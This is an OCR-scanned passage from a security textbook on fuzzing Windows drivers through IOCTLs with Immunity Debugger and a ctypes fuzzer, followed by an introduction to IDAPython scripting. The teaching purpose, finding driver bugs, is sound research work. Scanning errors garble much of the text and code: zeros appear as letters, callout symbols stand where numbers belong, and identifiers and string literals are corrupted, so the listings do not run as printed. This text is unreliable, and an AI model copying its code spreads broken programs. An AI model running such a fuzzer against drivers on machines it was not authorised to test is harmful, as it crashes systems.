exports. The dwDesiredAccess flag determines whether we would like to read
or write (or both or neither) to this device; for our purposes we would like
GENERIC_READ (0x80000000) and GENERIC_WRITE (0x40000000) access. We will set
the dwShareMode parameter to zero, which means that the device cannot be
accessed until we close the handle returned from CreateFileW. We set the
IpSecurityAttributes parameter to NULL, which means that a default security
descriptor is applied to the handle and can’t be inherited by any child pro-
cesses we may create, which is fine for us. We will set the dwCreationDisposition
3 See tile MSDN CreateFile Function (http://msdn.mic 7 moft.com/en-tis/library/aa 363858 .aspx) .
138
Chapter 1 0
parameter to OPEN_EXISTING (0x3), which means that we will open the device
only if it actually exists; the CreateFileW call will fail otherwise. The last two
parameters we set to zero and NULL, respectively.
Once we have obtained a valid handle from our CreateFileW call, we can
use that handle to pass an IOCTL to this device. We use the DeviceloControl 4
API call to send down the IOCTL, which is exported from kernel32.dll as well.
It has the following function prototype:
BOOL WINAPI DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nlnBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
The first parameter is the handle returned from our CreateFileW call. The
dwIoControlCode parameter is the IOCTL code that we will be passing to the
device driver. This code will determine what type of action the driver will take
once it has processed our IOCTL request. The next parameter, lpInBuffer, is
a pointer to a buffer that contains the information we are passing to the device
driver. This buffer is the one of interest to us, since we will be fuzzing whatever
it contains before passing it to the driver. The nlnBufferSize parameter is
simply an integer that tells the driver the size of the buffer we are passing in.
The lpOutBuffer and lpOutBufferSize parameters are identical to the two
previous parameters but are used for information that’s passed back from
the driver rather than passed in. The lpBytesReturned parameter is an optional
value that tells us how much data was returned from our call. We are simply
going to set the final parameter, lpOverlapped, to NULL.
We now have the basic building blocks of how to communicate with
a driver, so let’s use Immunity Debugger to hook calls to DeviceloControl
and mutate the input buffer before it is passed to our target driver.
10.2 Driver Fuzzing with Immunity Debugger
We can harness Immunity Debugger’s hooking prowess to trap valid
DeviceloControl calls before they reach our target driver as a quick-and-dirty
mutation-based fuzzer. We will write a simple PyCommand that will trap all
DeviceloControl calls, mutate the buffer that is contained within, log all relevant
information to disk, and release control back to the target application. We
write the values to disk because a successful fuzzing run when working with
drivers means that we will most definitely crash the system; we want a history
of our last fuzzing test cases before the crash so we can reproduce our tests.
4 See MSDN DeviceloControl Function (http://msdn.microsoft.com/en-us/library/aa363216(VS.85)
.aspx).
Fuzzing Windows Drivers
139
WARNING Make sure you aren ’t fuzzing on a production machine! A successful fuzzing run on a
drive r will result in the fabled Blue Screen of Death, which means the machine will
crash and reboot. You ’ve been warned. It ’s best to perform this operation on a Windows
virtual machine.
Let’s get right to the code! Open a new Python file, name it ioctl_fuzzer.py,
and hammer out the following code.
ioctlfuzzer.py
import struct
import random
from immlib import *
class ioctl_hook( LogBpHook ):
def init ( self ):
self.imm = Debugger ()
self.logfile = "C:\ioctl_log.txt"
LogBpHook. init ( self )
def run( self, regs ) :
We use the following offsets from the ESP register
to trap the arguments to DeviceloControl:
ESP+4 -> hDevice
ESP+8 -> IoControlCode
ESP+C -> InBuffer
ESP+10 -> InBufferSize
ESP+14 -> OutBuffer
ESP+18 -> OutBufferSize
ESP+lC -> pBytesReturned
ESP+20 -> pOverlapped
in buf = ""
O
e
o
©
# read the IOCTL code
ioctl_code = self.imm.readLong( regs['ESP'] + 8 )
# read out the InBufferSize
inbuffer_size = self .imm.readLong( regs['ESP'] + 0x10 )
# now we find the buffer in memory to mutate
inbuffer_ptr = self .imm.readLong( regs['ESP'] + OxC )
# grab the original buffer
in_buffer = self.imm.readMemory( inbuffer_ptr, inbuffer_size )
mutated_buffer = self.mutate( inbuffer_size )
# write the mutated buffer into memory
self . imm.writeMemory( inbuffer_ptr, mutated_buffer )
# save the test case to file
1 40 Chapter 1 0
@ self ,save_test_case( ioctl_code, inbuffer_size, in_buffer,
mutated_buffer )
def mutate( self, inbuffer_size ):
counter = 0
mutated_buffer = ""
# We are simply going to mutate the buffer with random bytes
while counter < inbuffer_size:
mutated_buffer += struct. pack( "H", random. randint(o, 255) )[o]
counter += 1
return mutated buffer
def save_test_case( self, ioctl_code,inbuffer_size, in_buffer,
mutated_buffer ) :
message =
message +=
message +=
message +=
message +=
message +=
"IOCTL Code:
"Buffer Size:
"Original Buffer:
"Mutated Buffer:
0x%08x\n" % ioctl_code
%d\n" % inbuffer_size
%s\n" % in_buffer
%s\n" % mutated_buffer.encode("HEX")
fd = open( self.logfile, "a" )
fd.write( message )
fd.close()
def main(args) :
imm = Debugger ()
deviceiocontrol = imm.getAddress( "kernel32.Device!oControl" )
ioctl_hooker = ioctl_hook()
ioctl_hooker.add( "%08x" % deviceiocontrol, deviceiocontrol )
return "[*] IOCTL Fuzzer Ready for Action!
We are not covering any new Immunity Debugger techniques or function
calls; this is a straight LogBpHook that we have covered previously in Chapter 5.
We are simply trapping the IOCTL code being passed to the driver O, the
input buffer’s length ©, and the location of the input buffer ©. We then
create a buffer consisting of random bytes ©, but of the same length as the
original buffer. Then we overwrite the original buffer with our mutated
buffer ©, save our test case to a log file ©, and return control to the user-
mode program.
Once you have your code ready, make sure that the ioctl_fuzzer.py file is
in Immunity Debugger’s PyCommands directory. Next you have to pick a
target — any program that uses IOCTLs to talk to a driver will do (packet
sniffers, firewalls, and antivirus programs are ideal targets) — start up the
Fuzzing Windows Drivers
141
target in the debugger, and run the ioctl_fuzzer PyCommand. Resume the
debugger, and the fuzzing magic will begin! Listing 10-1 shows some logged
test cases from a fuzzing run against Wireshark, 5 the packet-sniffing program.
IOCTL Code: 0x00120003
Buffer Size: 36
Original Buffer:
000000000000000000010000000100000000000000000000000000000000000000000000
Mutated Buffer:
a4100338ff334753457078lOOf78bde62cdc872747482a51375db5aa2255c46e838a2289
IOCTL Code:
Buffer Size:
Original Buffer:
Mutated Buffer:
oxooooiefo
4
28010000
abl2d7e6
Listing 10-1: Output from fuzzing run against Wireshark
You can see that we have discovered two supported IOCTL codes
(0x0012003 and oxooooiefo) and have heavily mutated the input buffers that
were sent to the driver. You can continue to interact with the user-mode pro-
gram to keep mutating the input buffers and hopefully crash the driver at
some point!
While this is an easy and effective technique to use, it has limitations.
For example, we don’t know the name of the device we are fuzzing (although
we could hook CreateFileW and watch the returned handle being used by
DeviceloControl — I will leave that as an exercise for you), and we know only
the IOCTL codes that are hit while we’re using the user-mode software,
which means that we may be missing possible test cases. As well, it would be
much better if we could have our fuzzer hit a driver indefinitely until we
either get sick of fuzzing it or we find a vulnerability.
In the next section we’ll learn how to use the driverlib static-analysis
tool that ships with Immunity Debugger. Using driverlib, we can enumerate
all possible device names that a driver exposes as well as the IOCTL codes
that it supports. From there we can build a very effective standalone genera-
tion fuzzer that we can leave running indefinitely and that doesn’t require
interaction with a user-mode program. Let’s get cracking.
1 0.3 Driverlib — The Static Analysis Tool for Drivers
Driverlib is a Python library designed to automate some of the tedious
reverse engineering tasks required to discover key pieces of information
from a driver. Typically in order to determine which device names and
IOCTL codes a driver supports, we would have to load it into IDA Pro or
Immunity Debugger and manually track down the information by walking
5 To download Wireshark go to http://www.wireshark.org/.
1 42 Chapter 1 0
through the disassembly. We will take a look at some of the driverlib code to
understand how it automates this process, and then we’ll harness this auto-
mation to provide the IOCTL codes and device names for our driver fuzzer.
Let’s dive into the driverlib code first.
1 0.3. 1 Discovering Device Names
Using the powerful built-in Python library from Immunity Debugger, finding
the device names inside a driver is quite easy. Take a look at Listing 10-2,
which is the device-discovery code from driverlib.
def getDeviceNames( self ):
stringJList = self . imm.getReferencedStrings( self .module. getCodebaseQ )
for entry in string_list:
if "WDeviceW" in entry[2]:
self . imm.log( "Possible match at address: 0x%08x" % entry[o],
address = entry[o] )
self .deviceNames. append( entry[2].split("\"")[l] )
self.imm.log("Possible device names: %s" % self .deviceNames)
return self. deviceNames
Listing 10-2: Device name discovery routine from driverlib
This code simply retrieves a list of all referenced strings from the driver
and then iterates through the list looking for the "\Device\" string, which is a
possible indicator that the driver will use that name for registering a symbolic
link so that a user-mode program can obtain a handle to that driver. To test
this out, try loading the driver C:\WINDOWS\System32\beep.sys into Immunity
Debugger. Once it’s loaded, use the debugger’s PyShell and enter the
following code:
*** Immunity Debugger Python Shell vO.l ***
Immlib instanciated as 'imm' PyObject
READY.
>>> import driverlib
>>> driver = driverlib. Driver()
>>> driver. getDeviceNames()
[ 'WDeviceWBeep' ]
>>>
You can see that we discovered a valid device name, WDeviceWBeep, in
three lines of code, with no hunting through string tables or having to scroll
through lines and lines of disassembly. Now let’s move on to discovering the
primary IOCTL dispatch function and the IOCTL codes that a driver supports.
Fuzzing Windows Drivers
143
1 0.3.2 Finding the IOCTL Dispatch Routine
Any driver that implements an IOCTL interface must have an IOCTL dispatch
routine that handles the processing of the various IOCTL requests. When a
driver loads, the first function that gets called is the DriverEntry routine. A
skeleton DriverEntry routine for a driver that implements an IOCTL dispatch
is shown in Listing 10-3:
NTSTATUS DriverEntry(IN PDRIVER_OBDECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
UNICODE_STRING uDeviceName;
UNICODE_STRING uDeviceSymlink;
PDEVICEJBDECT gDeviceObject;
RtlInitUnicodeString( StuDeviceName, L"\\Device\\GrayHat" );
RtlInitUnicodeString( StuDeviceSymlink, L"\\DosDevices\\GrayHat" );
II Register the device
IoCreateDevice( DriverObject, 0, &uDeviceName,
FILE_DEVICE_NETWORK, 0, FALSE,
&gDeviceObject );
// We access the driver through its symlink
IoCreateSymbolicLink(&uDeviceSymlink, StuDeviceName);
// Setup function pointers
DriverObject->MajorFunction[IRP_Ml_DEVICE_CONTROL]
= IOCTLDispatch;
DriverObject->Driverllnload
= DriverLInloadCallback;
DriverObject->MajorFunction[IRP_MD_CREATE]
= DriverCreateCloseCallback;
DriverObject->MajorFunction[IRP_MD_CLOSE]
= DriverCreateCloseCallback;
return STATUS_SUCCESS;
}
Listing 10-3: C source code for a simple DriverEntry routine
This is a very basic DriverEntry routine, but it gives you a sense of how
most devices initialize themselves. The line we are interested in is
DriverObject->MajorFunction[IRP_MD_DEVICE_CONTROL] = IOCTLDispatch
This line is telling the driver that the IOCTLDispatch function handles all
IOCTL requests. When a driver is compiled, this line of C code gets translated
into the following pseudo-assembly:
mov dword ptr [REG+70h], CONSTANT
1 44 Chapter 1 0
You will see a very specific set of instructions where the MajorFunction
structure (REG in the assembly code) will be referenced at offset 0x70, and the
function pointer (CONSTANT in the assembly code) will be stored there. Using
these instructions, we can then deduce where the IOCTL-handling routine
lives (CONSTANT), and that is where we can begin searching for the various
IOCTL codes. This dispatch function search is performed by driverlib using
the code in Listing 10-4.
def getIOCTLDispatch( self ):
search_pattern = "MOV DWORD PTR [R32+70], CONST"
dispatch_address = self.imm.searchCommandsOnModule( self .module
.getCodebaseQ, search_pattern )
# We have to weed out some possible bad matches
for address in dispatch_address:
instruction = self.imm.disasm( address[o] )
if "MOV DWORD PTR" in instruction. getResultQ :
if "+70" in instruction. getResultQ:
self . IOCTLDispatchFunctionAddress =
instruct ion. getlmmConstQ
self . IOCTLDispatchFunction
self .imm.getFunction( self . IOCTLDispatchFunctionAddress )
break
# return a Function object if successful
return self .IOCTLDispatchFunction
Listing 10-4: Function to find IOCTL dispatch function if one is present
This code utilizes Immunity Debugger’s powerful search API to find all
possible matches against our search criteria. Once we have found a match,
we send a Function object back that represents the IOCTL dispatch function
where our hunt for valid IOCTL codes will begin.
Next let’s take a look at the IOCTL dispatch function itself and how to
apply some simple heuristics to try to find all of the IOCTL codes a device
supports.
10.3.3 Determining Supported IOCTL Codes
The IOCTL dispatch routine commonly will perform various actions based
on the value of the code being passed in to the routine. We want to be able to
exercise each of the possible paths that are determined by the IOCTL code,
which is why we go to all the trouble of finding these values. Let’s first examine
what the C source code for a skeleton IOCTL dispatch function would look
like, and then we’ll see how to decode the assembly to retrieve the IOCTL
code values. Listing 10-5 shows a typical IOCTL dispatch routine.
Fuzzing Windows Drivers
145
NTSTATUS IOCTLDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
ULONG FunctionCode;
PIO_STACK_LOCATION IrpSp;
II Setup code to get the request initialized
IrpSp = IoGetCurrentlrpStackLocation(Irp);
FunctionCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
// Once the IOCTL code has been determined, perform a
II specific action
switch (FunctionCode)
{
case 0x1337:
II ... Perform action A
case 0x1338:
// ... Perform action B
case 0x1339:
II ... Perform action C
}
Irp->IoStatus. Status = STATUS_SUCCESS;
IoCompleteRequest ( Irp, IO_NO_INCREMENT );
return STATUS_SUCCESS;
}
Listing 10-5: A simplified IOCTL dispatch routine with three supported IOCTL codes (0x1337,
0x1338, 0X1339)
Once the function code has been retrieved from the IOCTL request O, it
is common to see a switchj} statement in place © to determine what action the
driver is to perform based on the IOCTL code being sent in. There are a few
different ways this can be translated into assembly; take a look at Listing 10-6
for examples.
II Series of CMP statements against a constant
CMP DWORD PTR SS:
3E OxSOMEADDRESS
CMP DWORD PTR SS:
JE OxSOMEADDRESS
CMP DWORD PTR SS:
JE OxSOMEADDRESS
[EBP - 48 ] , 1339
[EBP - 48 ] , 1338
[EBP - 48 ] , 1337
# Test for 0x1339
# lump to 0x1339 action
# Test for 0x1338
# Test for 0x1337
// Series of SUB instructions decrementing the IOCTL code
MOV ESI, DWORD PTR DS:[ESI + C] #
SUB ESI, 1337 #
JE OxSOMEADDRESS #
SUB ESI, 1 #
HE OxSOMEADDRESS #
SUB ESI, 1 #
JE OxSOMEADDRESS #
Store the IOCTL code in ESI
Test for 0x1337
Jump to 0x1337 action
Test for 0x1338
Jump to 0x1338 action
Test for 0x1339
Jump to 0x1339 action
Listing 10-6: A couple of different switchf} statement disassemblies
There can be many ways that the switch{} statement gets translated into
assembly, but these are the most common two that I have encountered. In
the first case, where we see a series of CMP instructions, we simply look for the
constant that is being compared against the passed-in IOCTL. That constant
should be a valid IOCTL code that the driver supports. In the second case we
are looking for a series of SUB statements against the same register (in this
case, ESI), followed by some type of conditional IMP instruction. The key in
this case is to find the original starting constant:
SUB ESI, 1337
This line tells us that the lowest supported IOCTL code is 0x1337. From
there, every SUB instruction we see, we add the equivalent amount to our base
constant, which gives us another valid IOCTL code. Take a look at the well-
commented getlOCTLCodesQ function inside the Libs\driverlib.py directory of
your Immunity Debugger installation. It automatically walks through the
IOCTL dispatch function and determines which IOCTL codes the target
driver supports; you can see some of these heuristics in action!
Now that we know how driverlib does some of our dirty work for us,
let’s take advantage of it! We will use driverlib to hunt down device names
and supported IOCTL codes from a driver and save these results to a Python
pickle. Then we’ll write an IOCTL fuzzer that will use our pickled results
to fuzz the various IOCTL routines that are supported. Not only will this
increase our coverage against the driver, but we can let it run indefinitely,
and we don’t have to interact with a user-mode program to initiate fuzzing
cases. Let’s get fuzzy.
10.4 Building a Driver Fuzzer
The first step is to create our IOCTL-dumping PyCommand to run inside
Immunity Debugger. Crack open a new Python file, name it ioctl_dump.py,
and enter the following code.
ioctldump.py
import pickle
import driverlib
from immlib import *
def main( args ):
ioctl_list = []
device_list = []
imm = Debugger ()
driver = driverlib. DriverQ
# Grab the list of IOCTL codes and device names
11 For more information on Python pickles, see http://iuww.python.Org/doc/2.l/lib/moduler-pickle.html.
Fuzzing Windows Drivers 147
O ioctlJList = driver. getlOCTLCodesQ
if not len( ioctlJList) :
return "[*] ERROR! Couldn't find any IOCTL codes."
© device_list = driver. getDeviceNamesQ
if not len(device_list) :
return "[*] ERROR! Couldn't find any device names."
# Now create a keyed dictionary and pickle it to a file
© masterJList = {}
masterJList[" ioctlJList"] = ioctlJList
master_list["device_list"] = deviceJList
filename = "%s.fuzz" % imm.getDebuggedName()
fd = open( filename, "wb" )
© pickle. dump( masterJList, fd )
fd.closeQ
return "[*] SUCCESS! Saved IOCTL codes and device names to %s" % filename
This PyCommand is pretty simple: It retrieves the list oflOCTL codes O,
retrieves a list of device names © , stores both of them in a dictionary © , and
then stores the dictionary in a file ©. Simply load a target driver into Immunity
Debugger and run the PyCommand like so: !ioctl_dump. The pickle file will
be saved in the Immunity Debugger directory.
Now that we have our list of target device names and a set of supported
IOCTL codes, let’s begin coding our simple fuzzer to use them! It is important
to know that this fuzzer is only looking for memory corruption and overflow
bugs, but it can be easily extended to have wider coverage of other bug classes.
Open a new Python file, name it my_ioctl_fuzzer.py, and punch in the
following code.
myioctlfuzzer.py
import pickle
import sys
import random
from ctypes import *
kernel32 = windll.kernel32
# Defines for Win32 API Calls
GENERIC_READ = 0x80000000
GENERICJJRITE = 0x40000000
0PEN_EXISTING = 0x3
© # Open the pickle and retrieve the dictionary
fd = open(sys.argv[l], "rb")
masterJList = pickle. load(fd)
ioctlJList = masterJList ["ioctlJList"]
1 48 Chapter 1 0
deviceJList = masterJList[" deviceJList"]
fd.close()
# Now test that we can retrieve valid handles to all
# device names, any that don't pass we remove from our test cases
valid_devices = []
© for device_name in deviceJList:
# Make sure the device is accessed properly
device_file = u"\\\\.\\%s" % device_name.split("\\")[: :-l][o]
print "[*] Testing for device: %s" % device_file
driver_handle = kernel32.CreateFileW(device_file,GENERIC_READ|
GENERICJJRITE,0, None, OPEN_EXISTING,0, None)
if driver_handle:
print "[*] Success! %s is a valid device!"
if device_file not in valid_devices:
valid_devices.append( device_file )
kernel32.CloseHandle( driver_handle )
else:
print "[*] Failed! %s NOT a valid device."
if not len(valid_devices) :
print "[*] No valid devices found. Exiting..."
sys.exit(o)
# Now let's begin feeding the driver test cases until we can't bear
# it anymore! CTRL-C to exit the loop and stop fuzzing
while 1:
# Open the log file first
fd = open("my_ioctl_fuzzer.log", "a")
# Pick a random device name
© current_device = valid_devices[random.randint(o, len(valid_devices)-l )]
fd.write(" [*] Fuzzing: %s\n" % current_device)
# Pick a random IOCTL code
© current_ioctl = ioctl_list[random.randint(0, len(ioctl_list)-l)]
fd.write(" [*] With IOCTL: 0x%08x\n" % current_ioctl)
# Choose a random length
© currentJLength = random. randint(o, lOOOO)
fd.write(" [*] Buffer length: %d\n" % currentJLength)
# Let's test with a buffer of repeating As
# Feel free to create your own test cases here
in_buffer = "A" * currentJLength
Fuzzing Windows Drivers
149
# Give the IOCTL run an out_buffer
out_buf = (c_char * current_length) ()
bytes_returned = c_ulong(current_length)
# Obtain a handle
driver_handle = kernel32.CreateFileW(device_file, GENERIC_READ |
GENERIC_WRITE,0, None, OPE N_EXISTING,0, None)
fd.write(" ! ! FUZZ ! !\n")
# Run the test case
kernel32.DeviceIoControl( driver_handle, current_ioctl, in_buffer,
current_length, byref (out_buf),
current_length, byref (bytes_returned).
None )
fd.write( "[*] Test case finished. %d bytes returned. \n\n" %
bytes_returned. value )
# Close the handle and carry on!
kernel32.CloseHandle( driver_handle )
fd.closeQ
We begin by unpacking the dictionary of IOCTL codes and device
names from the pickle file O . From there we test to make sure that we can
obtain handles to all of the devices listed ©. If we fail to obtain a handle to
a particular device, we remove it from the list. Then we simply pick a random
device © and a random IOCTL code ©, and we create a buffer of a random
length © . Then we send the IOCTL to the driver and continue to the next
test case.
To use your fuzzer, simply pass it the path to the fuzzing test case file and
let it run! An example could be:
C:\>python.exe my_ioctl_fuzzer.py i2omgmt.sys.fuzz
If your fuzzer does actually crash the machine you’re working on, it will
be fairly obvious which IOCTL code caused it, because your log file will show
you the last IOCTL code that had successfully been run. Listing 10-7 shows
some example output from a successful fuzzing run against an unnamed
driver.
[*] Fuzzing: WAunnamed
[*] With IOCTL: 0x84002019
[*] Buffer length: 3277
! ! FUZZ! !
[*] Test case finished. 3277 bytes returned.
[*] Fuzzing: WAunnamed
[*] With IOCTL: 0x84002020
[*] Buffer length: 2137
! ! FUZZ! !
[*] Test case finished. 1 bytes returned.
1 50 Chapter 1 0
[*] Fuzzing: WAunnamed
[*] With IOCTL : 0x84002016
[*] Buffer length: 1097
! ! FUZZ! !
[*] Test case finished. 1097 bytes returned.
[*] Fuzzing: WAunnamed
[*] With IOCTL: 0x8400201c
[*] Buffer length: 9366
! ! FUZZ! !
Listing 1 0-7: Logged results from a successful fuzzing run
Clearly the last IOCTL, 0x8400201c, caused a fault because we see no
further entries in the log file. I hope you have as much luck with driver fuzzing
as I have had! This is a very simple fuzzer; feel free to extend the test cases in
any way you see fit. A possible improvement could be sending in a buffer of a
random size but setting the InBufferLength or OutBufferLength parameters to
something different from the length of the actual buffer you’re passing in.
Go forth and destroy all drivers in your path!
Fuzzing Windows Drivers
151
IDAPYTHON—
SCRIPTING IDA PRO
IDA Pro 1 has long been the disassembler of choice
for reverse engineers and continues to be the most
powerful static analysis tool available. Produced by
Hex-Rays SA 2 3 of Brussels, Belgium, led by its legendary
chief architect Ilfak Guilfanov, IDA Pro sports a myriad of analysis capabilities.
It can analyze binaries for most architectures, runs on a variety of platforms,
and has a built-in debugger. Along with its core capabilities, IDA Pro has
IDC, which is its own scripting language, and an SDK that gives developers
full access to the IDA Plugin API.
Using the very open architecture that IDA provides, in 2004 Gergely
Erdelyi and Ero Carrera released IDAPython, a plug-in that gives reverse
engineers full access to the IDC scripting core, the IDA Plugin API, and all
of the regular modules that ship with Python. This enables you to develop
powerful scripts to perform automated analysis tasks in IDA using pure Python.
IDAPython is used in commercial products such as hi n Navi’ from Zynamics
1 The best reference on IDA Pro to date can be found at http://www.idabook.com/.
1 The main IDA Pro page is at http://xvww.hex-rays.com/idapro/.
3 The BinNavi home page is at http://www.zviamics.com/index.phpfpage- binnavi.
as well as open source projects such as PaiMei 4 and PyEmu (which is covered
in Chapter 12). First we’ll cover the installation steps to get IDAPython up
and running in IDA Pro 5.2. Next we’ll cover some of the most commonly
used functions that IDAPython exposes, and we’ll finish with some scripting
examples to speed some general reverse engineering tasks that you’ll
commonly face.
1 1.1 IDAPython Installation
To install IDAPython you first need to download the binary package; use
the following link: http://idapython.googlecode.eom/files/idapython-l.0.0.zip.
Once you have the zip file downloaded, unzip it to a directory of your
choosing. Inside the decompressed folder you will see a plugins directory,
and contained within it is a file named python.plw. You need to copy python
.plw into IDA Pro’s plugins directory; on a default installation it would be
located in C:\Program FilesMDAXplugins. From the decompressed IDAPython
folder copy the python directory into IDA’s parent directory, which would be
C:\Program FilesMDA on a default installation.
To verify that you have it installed correctly, simply load any executable
into IDA, and once its initial autoanalysis finishes, you will see output in the
bottom pane of the IDA window indicating that IDAPython is installed. Your
IDA Pro output pane should look like the one shown in Figure 1 1-1 .
Loading IDP module C:\Program Fil es\IDA\procs\pc.w32 for processor metapc...OK
Loading type libraries...
Autoanalysis subsystem has been initialized.
Database for file 'calc.exe' is loaded.
compiling file 'C:\Program Fi 1 es\IDA\i dc\i da. i dc 1 . . .
Executinq function 'main'...
3
IDAPython version 1.0.0 final (serial 0) initialized
python interpreter version 2.5.2 final (serial 0)
i
AU: idle |Down [Disk: 9GB
/a
Figure 11-1 : IDA Pro output pane displaying a successful IDAPython installation
Now that you have successfully installed IDAPython, two additional
options have been added to the IDA Pro File menu, as shown in Figure 11-2.
1 New...
Open...
Load file
►
Produce file
►
© IDC file...
© IDC command...
Shift-*- F2
Python file...
Alt+9
Python command...
Alt+8
19 Save
Ctrl+W
Save as...
Close
Figure 1 1-2: IDA Pro File menu
after IDAPython installation
4 The PaiMei home page is at http://code.google.eom/p/paimei/.
1 54 Chapter 1 1
The two new options are Python file and Python command. The
associated hotkeys have also been set up. If you wanted to execute a simple
Python command, you can click the Python command option, and a dialog
will appear that allows you to enter Python commands and display their out-
put in the IDA Pro output pane. The Python file option is used to execute
stand-alone IDAPython scripts, and this is how we will execute example code
throughout this chapter. Now that you have IDAPython installed and working,
let’s examine some of the more commonly used functions that IDAPython
supports.
1 1 .2 IDAPython Functions
IDAPython is fully IDC compliant, which means any function call that IDC 5
supports you can also use in IDAPython. We will cover some of the functions
that you will commonly use when writing IDAPython scripts in short order.
These should provide a solid foundation for you to begin developing your
own scripts. The IDC language supports well over 100 function calls, so this is
far from an exhaustive list, but you are encouraged to explore it in depth at
your leisure.
1 1.2. 1 Utility Functions
The following are a couple of utility functions that will come in handy in a lot
of your IDAPython scripts:
ScreenEA()
Obtains the address of where your cursor is currently positioned on the
IDA screen. This allows you to pick a known starting point to start your
script.
GetlnputFileMD 5 ( )
Returns the MD5 hash of the binary you have loaded in IDA, which is
useful for tracking whether a binary has changed from version to version.
/ 1.2.2 Segments
A binary in IDA is broken down into segments, with each segment having
a specific class (CODE, DATA, BSS, STACK, CONST, or XTRN). The following functions
provide a way to obtain information about the segments that are contained
within the binary:
FirstSeg()
Returns the starting address of the first segment in the binary.
NextSeg()
Returns the starting address of the next segment in the binary or BADADDR
if there are no more segments.
5 For a full IDC function listing, see http://iinow.hfx-rays.com/idapro/idadoc/162.htm.
IDAPython — Scripting IDA Pro 155
SegByName( string SegmentName )
Returns the starting address of the segment based on the segment name.
For instance, calling it with .text as a parameter will return the starting
address of the code segment for the binary.
SegEnd( long Address )
Returns the end of a segment based on an address contained within that
segment.
SegStart( long Address )
Returns the start of a segment based on an address contained within that
segment.
SegName( long Address )
Returns the name of the segment based on any address within that
segment.
Segments()
Returns a list of starting addresses for all of the segments in the target
binary.
1 1.2.3 Functions
Iterating over all the functions in a binary and determining function
boundaries are tasks that you will encounter frequently when scripting.
The following routines are useful when dealing with functions inside a
target binary:
Functions( long StartAddress, long EndAddress )
Returns a list of all function start addresses contained between StartAddress
and EndAddress.
Chunks( long FunctionAddress )
Returns a list of function chunks, or basic blocks. Each list item is a
tuple of ( chunk start, chunk end ), which shows the beginning and
end points of each chunk.
LocByName( string FunctionName )
Returns the address of a function based on its name.
GetFuncOffset( long Address )
Converts an address within a function to a string that shows the function
name and the byte offset into the function.
GetFunctionName( long Address )
Given an address, returns the name of the function the address belongs to.
1 1.2.4 Cross-References
Finding code and data cross-references inside a binary is extremely useful
when determining data flow and possible code paths to interesting portions
of a target binary. IDAPython has a host of functions used to determine
various cross references. The most commonly used ones are covered here.
156
Chapter 1 1
CodeRefsTo( long Address, bool Flow )
Returns a list of code references to the given address. The boolean Flow
flag tells IDAPython whether or not to follow normal code flow when
determining the cross-references.
CodeRefsFrom( long Address, bool Flow )
Returns a list of code references from the given address.
DataRefsTo( long Address )
Returns a list of data references to the given address. Useful for tracking
global variable usage inside the target binary.
DataRefsFrom( long Address )
Returns a list of data references from the given address.
7 1.2.5 Debugger Hooks
One very cool feature that IDAPython supports is the ability to define
a debugger hook within IDA and set up event handlers for the various
debugging events that may occur. Although IDA is not commonly used
for debugging tasks, there are times when it is easier to simply fire up the
native IDA debugger than switch to another tool. We will use one of these
debugger hooks later on when creating a simple code coverage tool. To set
up a debugger hook, you first define a base debugger hook class and then
define the various event handlers within this class. We’ll use the following
class as an example:
class DbgHook(DBG_Hooks) :
# Event handler for when the process starts
def dbg_process_start(self, pid, tid, ea, name, base, size):
return
# Event handler for process exit
def dbg_process_exit(self, pid, tid, ea, code):
return
# Event handler for when a shared library gets loaded
def dbg_library_load(self, pid, tid, ea, name, base, size):
return
# Breakpoint handler
def dbg_bpt(self, tid, ea):
return
This class contains some common debug event handlers that you can use
when creating simple debugging scripts in IDA. To install your debugger
hook use the following code:
debugger = DbgHookQ
debugger. hook()
IDAPython — Scripting IDA Pro 157
Now run the debugger, and your hook will catch all of the debugging
events, allowing you to have a very high level of control over IDA’s debugger.
Here are a handful of helper functions that you can use during a debug-
ging run:
AddBpt( long Address )
Sets a software breakpoint at the specified address.
GetBptQty()
Returns the number of breakpoints currently set.
GetRegValue( string Register )
Obtains the value of a register based on its name.
SetRegValue( long Value, string Register )
Set the specified register’s value.
1 1 .3 Example Scripts
Now let’s create some simple scripts that can assist in some of the common
tasks you’ll encounter when reversing a binary. You can build on many of
these scripts for specific reversing scenarios or to create larger, more complex
scripts, depending on the reversing task. We’ll create some scripts to find
cross-references to dangerous function calls, monitor function code coverage
using an IDA debugger hook, and calculate the size of stack variables for all
functions in a binary.
1 1.3. 1 Finding Dangerous Function Cross-References
When a developer is looking for bugs in software, some common functions
can be problematic if they are not used correctly. These include dangerous
string-copying functions (strcpy, sprintf) and unchecked memory-copying
functions (memcpy). We need to be able to find these functions easily when we
are auditing a binary. Let’s create a simple script to track down these functions
and the location from where they are called. We’ll also set the background
color of the calling instruction to red so that we can easily see the calls when
walking through the IDA-generated graphs. Open a new Python file, name it
cross_ref.py, and enter the following code.
irossref.py
from idaapi import *
danger_funcs = ["strcpy", "sprintf", "strncpy"]
for func in danger_funcs:
O addr = LocByName( func )
if addr != BADADDR:
# Grab the cross-references to this address
158
Chapter 1 1
cross_refs = CodeRefsTo( addr, 0 )
print "Cross References to %s" % func
print " "
for ref in cross_refs:
print "%08x" % ref
# Color the call RED
© SetColor( ref, CIC_ITEM, OxOOOOff)
We begin by obtaining the address of our dangerous function O and
then test to make sure that it is a valid address within the binary. From
there we obtain all code cross-references that make a call to the dangerous
function ©, and we iterate through the list of cross-references, printing out
their address and coloring the calling instruction © so we can see it on the
IDA graphs. Try using the iuar-ftpd.exe binary as an example. When you run
the script, you should see output like that shown in Listing 11-1.
Cross References to sprintf
004043df
00404408
004044f9
00404810
00404851
00404896
004052CC
0040560d
0040565e
004057bd
004058d7
Listing 11-1: Output from cross_ref.py
All of the addresses that are listed are locations where the sprintf
function is being called, and if you browse to those addresses in the IDA
graph view, you should see that the instruction is colored in, as shown in
Figure 11-3.
l a n m
loc_428299 :
mou eax, [ebp+arg_0]
lea ecx, [ebp+Dest]
push eax
push offset aGoonlineCreate
push ecx ; Dest
"GoOnline( ) : Create(^d) failed."
call
ds :
add
esp ,
OCh
lea
ecx ,
[ebp+Dest]
mou
eax.
dword_44AEC4
push
ecx
mou
esi.
[eax]
push
2
mou
ecx ,
eax
call
dword
ptr [esi+4Ch]
Figure 1 1-3: sprintf call colored in from the cross_ref.py script
